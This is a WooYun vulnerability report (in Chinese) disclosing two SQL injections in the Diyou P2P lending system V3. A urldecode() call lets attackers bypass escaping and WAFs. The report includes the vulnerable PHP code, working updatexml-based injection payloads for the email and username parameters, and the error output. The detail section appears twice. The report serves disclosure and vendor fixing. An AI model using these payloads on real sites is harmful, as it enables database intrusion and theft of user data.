当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(4) 关注此漏洞

缺陷编号: WooYun-2015-147385

漏洞标题: 帝友P2P借货系统两处处注入(版本限制)

相关厂商: 厦门帝网信息科技有限公司

漏洞作者: Xser

提交时间: 2015-10-23 12:39

公开时间: 2015-12-17 14:48

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-23: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经确认,细节仅向厂商公开
2015-10-30: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

由于url编码所以可以无视waf和gpc

详细说明:

因为帝友有段代码是这样的



code 区域
function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;



如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题

PS:我就本地测试吧,我在本地打开gpc

QQ截图20151017134135.png



--------------------------------------------------------

第一处在modules\member\index.php中

code 区域
# 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }

urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers

code 区域
function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }

可以看到带入数据库了 我们来测试下 提交:**.**.**.**/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

code 区域
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''



QQ截图20151007121410.png





ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以



第二处在/modules/users/users.inc.php中

code 区域
//举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"","");	 }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","","");	 } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));

可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://**.**.**.**/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

code 区域
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''



QQ截图20151007122314.png





漏洞证明:

因为帝友有段代码是这样的



code 区域
function safe_str($str){
if(!get_magic_quotes_gpc()) {
if( is_array($str) ) {
foreach($str as $key => $value) {
$str[$key] = safe_str($value);
}
}else{
$str = addslashes($str);
}
}
return $str;



如果没打开gpc就进行转义,但是由于我们这个漏洞会被编码所以不需要考虑gpc的问题

PS:我就本地测试吧,我在本地打开gpc

QQ截图20151017134135.png



--------------------------------------------------------

第一处在modules\member\index.php中

code 区域
# 检查邮箱是否被注册 elseif ($_U['query_sort'] == 'check_email'){ $result = usersClass::GetUsers(array("email"=>urldecode($_REQUEST['email']))); if ($result == ""){ echo "1"; }else{ echo "0"; } }

urldecode($_REQUEST['email']可以看到这里被解码了 所以可以无视waf/360webscan 跟踪下usersClass::GetUsers

code 区域
function GetUsers($data = array()){ global $mysql; $_sql = " where 1=1 "; //判断用户id if (IsExiest($data['user_id']) != false){ $_sql .= " and p1.`user_id` = '{$data['user_id']}'"; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false && IsExiest($data['email']) != false){ $_sql .= " and p1.`username` = '{$data['username']}' and p1.`email` = '{$data['email']}' "; } //判断是否搜索用户名 elseif (IsExiest($data['username']) != false){ $_sql .= " and p1.`username` = '{$data['username']}'"; } //判断是否搜索邮箱 elseif (IsExiest($data['email']) != false){ $_sql .= " and p1.`email` = '{$data['email']}'"; }

可以看到带入数据库了 我们来测试下 提交:**.**.**.**/?user post:q=check_email&email=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

code 区域
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`email` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''



QQ截图20151007121410.png





ps:这里只给出简单的语句测试,正常需要把全部字符都编码才可以



第二处在/modules/users/users.inc.php中

code 区域
//举报 elseif ($_U['query_type'] == "addrebut"){ if (isset($_POST['contents'])){ $data['type_id'] = $_POST['type_id']; $data['contents'] = nl2br($_POST['contents']); $data['rebut_userid'] = $_POST['rebut_userid']; $data['user_id'] = $_G['user_id']; $result = usersClass::AddRebut($data); if ($result==false){ $msg = array($result,"","");	 }else{ $msg = array("感谢你的举报,我们将第一时间做出处理","","");	 } }else{ $result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username'])));

可以看到$result = usersClass::GetUsers(array("username"=>urldecode($_REQUEST['username']))); 被url解码了,所以可以(无视waf/360webscan) 提交http://**.**.**.**/?user&q=code/users/addrebut post:username=0%2527 or updatexml(1,concat(0x7e,(version())),0) or %2527

code 区域
XPATH syntax error: '~5.1.28-rc-community'执行SQL语句错误!select * from `yyd_users` as p1 where 1=1 and p1.`username` = '0' or updatexml(1,concat(0x7e,(version())),0) or ''



QQ截图20151007122314.png



修复方案:

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-27 14:31

厂商回复:

感谢您对漏洞的提交,经技术部门核实,在我司V3老版本的系统上,确实有部分平台存在该漏洞,感谢您的关注,也欢迎您关注我们新版的V4,V5。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-10-23 16:37 | 不能忍 ( 普通白帽子 | Rank:113 漏洞数:51 | 要是能重来,我要选李白!)
    0

    你关注的大牛 Xser 发表了漏洞 帝友P2P借货系统两处处注入(版本限制)

登录后才能发表评论,请先 登录